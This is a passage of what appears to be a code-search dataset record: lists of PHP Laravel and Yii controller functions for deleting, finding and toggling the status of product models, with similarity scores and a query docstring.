Deleted Product');\n }", "public function destroy($id)\n {\n $product = \\App\\Models\\Admin\\Product::findOrFail($id);\n\n\n\n if (empty($product)) {\n Flash::error('Product not found');\n\n return redirect(route('admin.products.index'));\n }\n\n // $this->productRepository->delete($id);\n\n $product->delete();\n Flash::success('Product deleted successfully.');\n\n return redirect(route('admin.products.index'));\n }", "public function actionDelete($id)\n {\n\t$model = static::findModel($id);\n\n\t$this->processData($model, 'delete');\n\n\t$model->delete();\n\n \treturn $this->redirect(['index']);\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n $product->delete();\n return redirect('/admin/products');\n }", "public function destroy($id)\n {\n Producto::find($id)->delete();\n return redirect('productos');\n }", "public function destroy($id)\n {\n $products = Product::findOrFail($id);\n $products->delete();\n return redirect()->route('admin.products')\n ->with('success','Product deleted successfully');\n }", "public function destroy($id)\n {\n $product = Product::find($id)->delete();\n return redirect()->route('products.index')->with('status', 'El producto fue eliminado');\n }", "public function actionDelete($id)\n {\n // $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "public function delete()\n {\n // get request\n $request = $this->getRequest()->request;\n // get product ID from request\n $product_id = $request['a'];\n // get product ids from session\n $compareProducts = $this->View()->getSession('compare', $compareProducts)?$this->View()->getSession('compare', $compareProducts):array();\n\n if (in_array($product_id, $compareProducts)) {\n // unseting product from compare session\n $key = array_search($product_id, $compareProducts);\n unset($compareProducts[$key]);\n }\n\n $this->View()->setSession('compare', $compareProducts);\n\n if ($request['XHR']) {\n die(json_encode([\n 'success' => true,\n 'message' => $this->View()->translating('compare_item_deleted'),\n 'count' => count($compareProducts),\n ]));\n }\n\n Router::redirect('compare');\n }", "public function actionDelete($id)\r\n {\r\n $model = $this->findModel($id);\r\n $model->STATUS =\"3\";\r\n $model->save(false);\r\n // print_r($model);die(); \r\n Yii::$app->session->setFlash('error', \"Data Produk <b>\".$model->PRODUCT_NM.\"</b> Berhasil dihapus\");\r\n return $this->redirect(['index-produk']);\r\n \r\n }", "public function actionDelete($id) {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\n\t{\n\t\tif (Yii::app()->request->isPostRequest) {\n\t\t\t// we only allow deletion via POST request\n\t\t\t$model = $this->loadModel($id);\n\t\t\tif ($model->image) {\n\t\t\t\t$uploadPath = YiiBase::getPathOfAlias('webroot') . '/files/products';\n\t\t\t\t@unlink($uploadPath . '/' . $model->image);\n\t\t\t\t@unlink($uploadPath . '/thumb_' . $model->image);\n\t\t\t}\n\t\t\t$model->delete();\n\n\t\t\t// if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser\n\t\t\tif (!isset($_GET['ajax']))\n\t\t\t\t$this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('admin'));\n\t\t} else\n\t\t\tthrow new CHttpException(400, 'Invalid request. Please do not repeat this request again.');\n\t}", "public function actionDelete()\n\t{\n\t parent::actionDelete();\n\t\t$model=$this->loadModel($_POST['id']);\n\t\t $model->delete();\n\t\techo CJSON::encode(array(\n 'status'=>'success',\n 'div'=>'Data deleted'\n\t\t\t\t));\n Yii::app()->end();\n\t}", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n\n $model->delete();\n\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n\n $model->delete();\n\n return $this->redirect(['index']);\n }", "public function destroy($id)\n {\n $products = Product::findOrFail($id);\n $products->delete();\n return redirect('product');\n }", "public function destroy($id)\n {\n $products = Products::find($id);\n if($products){\n $products->delete();\n }\n return redirect()->route('admin.index_product');\n }", "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "public function destroy($id)\n {\n $product = Product :: find($id);\n $product -> delete();\n return redirect()->route('ProductIndex');\n\n // return redirect('products.index')->with('success');\n }", "public function actionDelete($id)\n {\n\t\tif(!$this->IsAdmin())\n\t\t{\n\t\t\treturn $this->render('error', ['name' => 'Not Found (#404)', 'message' => 'Puuduvad piisavad õigused.']);\n\t\t}\n\t\t$product = Product::findOne($id);\n if($product->cut_price > 0){\n\t\t\t$this->findModel($id)->delete();\t\t\t\n\t\t\treturn $this->redirect(['index']);\n\t\t} else {\t\t\n\t\t\t$this->findModel($id)->delete();\t\t\n\t\t\treturn $this->redirect(['/product']);\n\t\t}\n }", "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n return $this->redirect(['index']);\r\n }", "public function destroy($id)\n {\n Product::find($id)->delete();\n return redirect()->route('products.index')\n ->with('success','Product deleted successfully');\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n \n $model->delete();\n return $this->redirect([\n 'index'\n ]);\n }", "public function destroy($id)\n\t{\n\t\t$product = Product::findOrFail($id);\n\t\t$product->delete();\n\t\treturn redirect()->route('products.index')->with('message', 'Item deleted successfully.');\n\t}", "public function actionDelete($id) {\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "public function actionDelete($id) {\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "public function destroy($id)\n {\n $product = Product::findOrFail($id);\n $product->delete();\n return redirect()->route('admin.products.index');\n }", "public function delete($id) {\r\n\r\n //product id \r\n $this->Opportunity_model->delete($id);\r\n redirect('admin/opportunities');\r\n }", "public function destroy($id)\n {\n $product = \\App\\Product::find($id);\n $product->delete();\n return redirect('admin/products')->with('success','Product has been deleted.');\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $model->delete();\n\n return $this->redirect(['index', 'id' => $model->shop_id]);\n }", "public function destroy($id)\n {\n $data=Product::find($id);\n $data->delete();\n\n return redirect('/product');\n }", "public function actionDelete($id)\n {\n $this->_findModel($id)->delete();\n return $this->redirect(['index']);\n }", "public function actionDelete()\n {\n $id = Yii::$app->request->post('id');\n $this->findModel($id)->delete();\n }", "public function delete($id)\n {\n // return redirect('/')->with('success', 'Record has been deleted');\n\n $product= new productAndKitsController;\n $product = productAndKitsModel::find($id);\n $product->status='0';\n $product->save();\n return redirect('products');\n }", "public function actionDelete($id)\n\t{\n // we only allow deletion via POST request\n $model = $this->loadModel($id);\n//\t\tStorePrice::model()->deleteAllByAttributes(array('store_id'=>$model->id));\n\t\t$model->status = Store::STATUS_DISABLED;\n\t\t$model->save(false);\n//\t\t$model->delete();\n//\t\t$model->deleteSphinx();\n\n // if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser\n if(!isset($_GET['ajax']))\n $this->redirect($this->createUrl('index'));\n\t}", "public function actionDelete($id)\n { \n\t\t$model = $this->findModel($id); \n $model->isdel = 1;\n $model->save();\n //$model->delete(); //this will true delete\n \n return $this->redirect(['index']);\n }", "public function destroy($id)\n {\n\n $item=product::find($id);\n $item->delete();\n return redirect('/product');\n\n\n }", "public function product_delete()\n\t\t\t\t{\n\t\t\t\t}" ]
[ "0.77747124", "0.77698797", "0.7581173", "0.7542327", "0.7474458", "0.7461884", "0.7455692", "0.74055004", "0.739336", "0.7387724", "0.7377779", "0.7318249", "0.72258574", "0.72160876", "0.71947765", "0.71826833", "0.7124043", "0.7119898", "0.7103307", "0.7057033", "0.705142", "0.70446414", "0.70366156", "0.70347065", "0.7026754", "0.69960874", "0.6988893", "0.69840336", "0.69777554", "0.6976827", "0.69469583", "0.69212145", "0.69149387", "0.6912216", "0.690295", "0.68989134", "0.68989134", "0.6897205", "0.68949723", "0.68848085", "0.6883435", "0.6878827", "0.6878148", "0.6874522", "0.68744534", "0.68659663", "0.68659663", "0.68541455", "0.68538004", "0.68512845", "0.68512845", "0.6841419", "0.6838481", "0.68335086", "0.6830349", "0.682924", "0.6829003", "0.68277556", "0.6820138", "0.68171996", "0.6816263", "0.68099314", "0.6805179", "0.6804505", "0.6801394", "0.6801346", "0.6799163", "0.6798551", "0.6791544", "0.67831033", "0.6777697", "0.67740947", "0.6771447", "0.676616", "0.676616", "0.6760023", "0.6759986", "0.675614", "0.675614", "0.675614", "0.675614", "0.6754486", "0.6751354", "0.67496204", "0.6741274", "0.67399806", "0.67370653", "0.67370623", "0.67370623", "0.6736883", "0.6732823", "0.673268", "0.67316705", "0.6731659", "0.67287767", "0.6726833", "0.6720823", "0.6720186", "0.67189676", "0.6717067", "0.671347" ]
0.0
-1
Finds the Product model based on its primary key value. If the model is not found, a 404 HTTP exception will be thrown.
public function actionStatus($id){ $model = $this->findModel($id); $model->category_id="hello"; if(empty($model)){ Yii::$app->getSession()->setFlash('danger', 'No such category exists!'); return $this->redirect('index'); } if(empty($model->status)){ $model->status = 1; }else{ $model->status = 0; } if($model->save()){ $message = "$model->item_code been sucessfully ".(($model->status==0)?'blocked':'unblocked'); Yii::$app->getSession()->setFlash('success',$message); if($model->status=='1'){ return $this->redirect(Yii::$app->urlManager->createAbsoluteUrl(['product/index']));} else{ return $this->redirect(Yii::$app->urlManager->createAbsoluteUrl(['product/manager'])); } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public abstract function find($primary_key, $model);", "protected function findProduct($id)\n {\n if (($model = Products::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function findById($id)\n {\n \t$product = $this->model->whereId($id)->first();\n \n \treturn $product;\n }", "protected function findModel($id) {\n\t\tif (($model = Products::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t\t}\n\t}", "public function findById($product_id)\n {\n return Product::find($product_id);\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne(['launch_id' => $id])) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function loadModel($id)\n {\n $model=Product::model()->findByPk($id);\n if($model===null)\n throw new CHttpException(404,'The requested page does not exist.');\n return $model;\n }", "public function loadModel($id) {\n $model = Product::model()->findByPk($id);\n if ($model === null)\n throw new CHttpException(404, 'The requested page does not exist.');\n return $model;\n }", "protected function findModel($id)\n {\n if (($model = PricefallsProducts::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\r\n {\r\n if (($model = WarehouseProduct::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\r\n }\r\n }", "protected function findModel($id)\r\n {\r\n if (($model = Product::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException('The requested page does not exist.');\r\n }\r\n }", "public function loadModel($id)\n\t{\n\t\t$model=Product::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "public function loadModel($id) {\n $model = ClinicStoreproduct::model()->findByPk($id);\n if ($model === null)\n throw new CHttpException(404, 'The requested page does not exist.');\n return $model;\n }", "public function loadModel($id)\n\t{\n\t\t$model=Productos::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "public function loadModel($id)\n\t{\n\t\t$model = ProductItem::model()->findByPk($id);\n\t\tif ($model === null)\n\t\t\tthrow new CHttpException(404, 'The requested page does not exist.');\n\t\treturn $model;\n\t}", "public function find($id) {\n return Product::find($id);\n }", "public function loadModel($id)\n\t{\n\t\t$model=Products::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "private function findModel($key)\n {\n if (null === $key) {\n throw new BadRequestHttpException('Key parameter is not defined in findModel method.');\n }\n\n $modelObject = $this->getNewModel();\n\n if (!method_exists($modelObject, 'findOne')) {\n $class = (new\\ReflectionClass($modelObject));\n throw new UnknownMethodException('Method findOne does not exists in ' . $class->getNamespaceName() . '\\\\' .\n $class->getShortName().' class.');\n }\n\n $result = call_user_func([\n $modelObject,\n 'findOne',\n ], $key);\n\n if ($result !== null) {\n return $result;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "protected function findModel($id)\n {\n if (($model = Producto::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Producto::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Products::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "public function loadModel($id)\n\t{\n\t\t$model=TProducto::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "protected function findModel($id)\n {\n if (($model = Products::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Products::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Products::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Products::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = ProductType::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = ProductType::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function findProductById($id):ProductModel\n {\n return $this->model()->find($id);\n }", "protected function findModel($id)\n {\n if (($model = Products::findOne(['id' => $id])) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "protected function findModel($id)\n {\n if (($model = Product::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "public function show($id)\n {\n return Product::findOrfail($id);\n }", "protected function findModel($id)\n {\n if (($model = ActionProduct::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Producto::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "public function find($id){\n\t\t$db = static::getDatabaseConnection();\n\t\t//Create a select query\n\t\t$query = \"SELECT \" . implode(\",\" , static::$columns).\" FROM \" . static::$tableName . \" WHERE id = :id\";\n\t\t//prepare the query\n\t\t$statement = $db->prepare($query);\n\t\t//bind the column id with :id\n\t\t$statement->bindValue(\":id\", $id);\n\t\t//Run the query\n\t\t$statement->execute();\n\n\t\t//Put the associated row into a variable\n\t\t$record = $statement->fetch(PDO::FETCH_ASSOC);\n\n\t\t//If there is not a row in the database with that id\n\t\tif(! $record){\n\t\t\tthrow new ModelNotFoundException();\n\t\t}\n\n\t\t//put the record into the data variable\n\t\t$this->data = $record;\n\t}", "function fetch_product ($product_id) {\n $db = getDb();\n $statement = $db->prepare(\"\n SELECT\n *\n FROM\n product\n WHERE\n product_id = :product_id\n \");\n\n $statement->execute([\"product_id\"=>$product_id]);\n $result = $statement->fetchObject();\n if (!$result) {\n throw new RowNotFoundException(\"Product not found\");\n }\n return $result;\n}", "public function loadModel($id)\n\t{\n\t\t$model=Productaccount::model()->findByPk((int)$id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "public function loadModel($id)\n\t{\n\t\t$model=ProductStock::model()->with('product')->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "public function find( $id ){\n \t\t$response = $this->curl->get( $this->api_url . '/' . $id, [ \n\t\t\t'access_token' => $this->token\n\t\t]);\n\t\tif( $response->success ){\n\t\t\t$product = new Product( $this );\n\t\t\t$product->fetch($response->product);\n\n\t\t\treturn $product;\n \t\t}//if\n \t\telse{\n \t\t\treturn FALSE;\n \t\t}//else\n \t}", "private function retrieveProductById($productId)\n {\n // Fetch product.\n $product = $this->productRepository->find($productId);\n if (!$product) {\n throw new ProductNotFoundException($productId);\n }\n\n return $product;\n }", "protected function findModel($id)\n {\n if (($model = ProductImage::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function find($pk)\r\n {\r\n $row = $this->getTable()->find($pk);\r\n if(!$row){\r\n return false;\r\n }\r\n $sampleModel = new SampleModel();\r\n $this->_map($sampleModel, $row);\r\n return $sampleModel;\r\n }", "public function findOne(int $id): ?Product\n {\n return Product::find($id);\n }", "protected function findPkSimple($key, $con)\n\t{\n\t\t$sql = 'SELECT `ID_PRODUCT`, `ID_SUPPLIER`, `ID_MANUFACTURER`, `ID_TAX_RULES_GROUP`, `ID_CATEGORY_DEFAULT`, `ID_COLOR_DEFAULT`, `ON_SALE`, `ONLINE_ONLY`, `EAN13`, `UPC`, `ECOTAX`, `QUANTITY`, `MINIMAL_QUANTITY`, `PRICE`, `WHOLESALE_PRICE`, `UNITY`, `UNIT_PRICE_RATIO`, `ADDITIONAL_SHIPPING_COST`, `REFERENCE`, `SUPPLIER_REFERENCE`, `LOCATION`, `WIDTH`, `HEIGHT`, `DEPTH`, `WEIGHT`, `OUT_OF_STOCK`, `QUANTITY_DISCOUNT`, `CUSTOMIZABLE`, `UPLOADABLE_FILES`, `TEXT_FIELDS`, `ACTIVE`, `AVAILABLE_FOR_ORDER`, `CONDITION`, `SHOW_PRICE`, `INDEXED`, `CACHE_IS_PACK`, `CACHE_HAS_ATTACHMENTS`, `CACHE_DEFAULT_ATTRIBUTE`, `DATE_ADD`, `DATE_UPD` FROM `' . _DB_PREFIX_ . 'product` WHERE `ID_PRODUCT` = :p0';\n\t\ttry {\n\t\t\t$stmt = $con->prepare($sql);\n\t\t\t$stmt->bindValue(':p0', $key, PDO::PARAM_INT);\n\t\t\t$stmt->execute();\n\t\t} catch (Exception $e) {\n\t\t\tPropel::log($e->getMessage(), Propel::LOG_ERR);\n\t\t\tthrow new PropelException(sprintf('Unable to execute SELECT statement [%s]', $sql), $e);\n\t\t}\n\t\t$obj = null;\n\t\tif ($row = $stmt->fetch(PDO::FETCH_NUM)) {\n\t\t\t$obj = new Oops_Db_Product();\n\t\t\t$obj->hydrate($row);\n\t\t\tOops_Db_ProductPeer::addInstanceToPool($obj, (string) $row[0]);\n\t\t}\n\t\t$stmt->closeCursor();\n\n\t\treturn $obj;\n\t}", "public function findProductById(int $idProduct): ?object {\n\t\t// crete Default Var\n\t\t$objProduct = null;\n\t\ttry {\n\t\t\t// create Query Builder \n\t \t$qb = $this->em->createQueryBuilder();\n\t \t// create Query\n\t \t$objProduct = $qb->select('p')\n\t\t\t ->from(Product::class, 'p')\n\t\t\t ->where('p.id = :id')\n\t\t\t ->andWhere('p.status = :status')\n\t\t\t ->setParameter('id', $idProduct\t)\n\t\t\t ->setParameter('status', 1)\n\t\t\t ->getQuery()\n\t\t\t ->getOneOrNullResult();\n \t\t} catch (\\Exception $ex) {\n \t\t\t//dd($ex);\n \t\t}\n \t\t// default Return\n \t\treturn $objProduct;\n\t}", "public function findById(int $id, bool $throwable = true): ?ProductModel\n {\n return $this->find((string) $id, 'id', $throwable);\n }", "public static function find( $primaryKey )\n\t{\n\t\tself::init();\n\t\t\n\t\t// Select one item by primary key in Database\n\t\t$result = Database::selectOne(\"SELECT * FROM `\" . static::$table . \"` WHERE `\" . static::$primaryKey . \"` = ?\", $primaryKey);\t\t\n\t\tif( $result == null )\n\t\t{\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\t// Create & return new object of Model\n\t\treturn self::newItem($result);\n\t}", "protected function findModel($id)\n {\n if (($model = Offer::findOne($id)) !== null) {\n return $model;\n } else {\n throw new HttpException(404, 'The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = ProductGoods::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "public function loadModel($id) {\r\n $model = ProductStockEntries::model()->findByPk($id);\r\n if ($model === null)\r\n throw new CHttpException(404, 'The requested page does not exist.');\r\n return $model;\r\n }", "protected function findModel($id)\n {\n if (($model = ProductCate::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "protected function findModel($id)\n {\n if (($model = Catalog2::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function getProductById(int $id);", "public function loadModel($id) {\n $model = \\backend\\models\\ProductCategory::findOne($id);\n if ($model === null)\n throw new CHttpException(404, 'The requested page does not exist.');\n return $model;\n }", "public function find($primary)\n {\n if (isset($this->models[$primary])) {\n return $this->models[$primary];\n }\n\n return;\n }", "protected function findModel($id)\n {\n if (($model = Menu::findOne([ 'id' => $id ])) !== null)\n {\n return $model;\n }\n else\n {\n throw new HttpException(404, Yii::t('backend', 'The requested page does not exist.'));\n }\n }", "public function loadModel($id) {\n $model = SubscribedProduct::model()->findByPk($id);\n if ($model === null)\n throw new CHttpException(404, 'The requested page does not exist.');\n return $model;\n }", "public static function loadModel($id)\n {\n $model = Product::model()->findByPk((int) $id);\n if($model === null)\n {\n throw new CHttpException(404, 'The requested page does not exist.');\n }\n else\n {\n $model->group_name = self::getProductGroupIdArr((int) $id);\n $model->product_manager = self::getProductManagers((int) $id);\n }\n\n return $model;\n }", "protected function findModel($id)\n {\n\t\t$p = $this->primaryModel;\n if (($model = $p::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function findProductBySlug($slug):ProductModel\n {\n return $this->model()->whereSlug($slug)->first();\n }", "public function find($model, $id);", "public function show($id)\n {\n return Product::findOrFail($id);\n }", "public function show($id_product)\n {\n return Product::findOrFail($id_product);\n }", "public function show($pk)\n {\n return $this->model->findOrFail($pk);\n }", "protected function findModel($id)\n {\n if (($model = PaidEmployment::findOne($id)) !== null) {\n return $model;\n } else {\n throw new HttpException(404);\n }\n }", "function find($id)\n{\n\t$model = $this->newModel(null);\n\treturn $model->find($id);\n}", "public function findById($primaryKeyValue){\n //Select* From employers Where $this->primaryKey(noemp)=$primaryKeyValue(1000)\n $array = $this->findWhere($this->primaryKey. \"=$primaryKeyValue\");\n if (count($array) != 1 ) die (\"The ID $primaryKeyValue is not valid\");\n return $array[0];\n }", "protected function findModel($id)\n {\n if (($model = StoreKasir::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "public function getOne($ID)\n {\n return DB::table('product_models')\n ->where('ID', $ID)\n ->first();\n }", "protected function findModel($id)\n {\n if (($model = Picture::findOne($id)) !== null) {\n return $model;\n } else {\n throw new HttpException(404, \\Yii::t('The requested object does not exist or has been already deleted.'));\n }\n }", "public function findBySlug(string $slug): Product;", "public function findPk($key, $con = null)\n\t{\n\t\tif ($key === null) {\n\t\t\treturn null;\n\t\t}\n\t\tif ((null !== ($obj = Oops_Db_ProductPeer::getInstanceFromPool((string) $key))) && !$this->formatter) {\n\t\t\t// the object is alredy in the instance pool\n\t\t\treturn $obj;\n\t\t}\n\t\tif ($con === null) {\n\t\t\t$con = Propel::getConnection(Oops_Db_ProductPeer::DATABASE_NAME, Propel::CONNECTION_READ);\n\t\t}\n\t\t$this->basePreSelect($con);\n\t\tif ($this->formatter || $this->modelAlias || $this->with || $this->select\n\t\t || $this->selectColumns || $this->asColumns || $this->selectModifiers\n\t\t || $this->map || $this->having || $this->joins) {\n\t\t\treturn $this->findPkComplex($key, $con);\n\t\t} else {\n\t\t\treturn $this->findPkSimple($key, $con);\n\t\t}\n\t}", "protected function findModel($id)\n {\n if (($model = CatalogDocument::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('catalog', 'The requested page does not exist.'));\n }", "public function loadModel($id)\n\t{\n\t\t$model=Vendor::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "public function loadModel($id) {\n $model = Purchaseitem::model()->findByPk($id);\n if ($model === null)\n throw new CHttpException(404, 'The requested page does not exist.');\n return $model;\n }", "protected function findModel($id) {\n if (($model = Seller::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function getByProduct($category_ID, $name)\n {\n return DB::table('product_models')\n ->where('product_category_ID',$category_ID)\n ->where('name',$name)\n ->first();\n }", "protected function findModel($id)\n {\n if (($model = CompPrep::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "function get_product_by_id($product_id) {\r\n try {\r\n $params[0] = array(\"name\" => \":prod_id\", \"value\" => &$product_id);\r\n return $this->DBObject->readCursor(\"product_actions.get_product_by_id(:prod_id)\", $params);\r\n } catch (Exception $ex) {\r\n echo \">>\" . ex;\r\n }\r\n }", "protected function findModel($id)\n {\n if (($model = PostKey::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function show($id)\n {\n \n Producto::findOrFail($id);\n \n }", "public function find(int $id) : OrderProductAttribute;", "protected function findModel($id) {\n if (($model = A2OperacionesItems::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = CursoProger::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function getByProductName($name)\n {\n return DB::table('product_models')\n ->where('name',$name)\n ->first();\n }", "public function loadModel($id) {\n $model = Package::model()->findByPk($id);\n if ($model === null)\n throw new CHttpException(404, 'The requested page does not exist.');\n return $model;\n }", "public function find($id)\n {\n\n $sql = \"SELECT product.*, brand.name AS brand_name, type.name AS type_name, category.name AS category_name\n FROM product\n JOIN brand ON product.brand_id = brand.id \n JOIN type ON product.type_id = type.id \n JOIN category ON product.category_id = category.id \n WHERE product.id = $id \";\n\n $pdo = Database::getPDO();\n $stmt = $pdo->query($sql);\n\n $product = $stmt->fetchObject(self::class);\n return $product;\n }", "public function get(string $epid): ProductModel\n {\n return $this->client->request('getProduct', 'GET', \"product/{$epid}\",\n [\n ]\n );\n }", "protected function findModel($id)\n {\n if (($model = Purchaserequisition::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "protected function findModel($id)\n {\n if (($model = Purchase::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "public function loadModel($id)\n {\n $model=CompraCartao::model()->findByPk($id);\n if($model===null)\n throw new CHttpException(404,'The requested page does not exist.');\n return $model;\n }", "protected function findModel($id)\n {\n if (($model = Apple::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "protected function findProduk($id)\n {\n if (($model = Produk::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }" ]
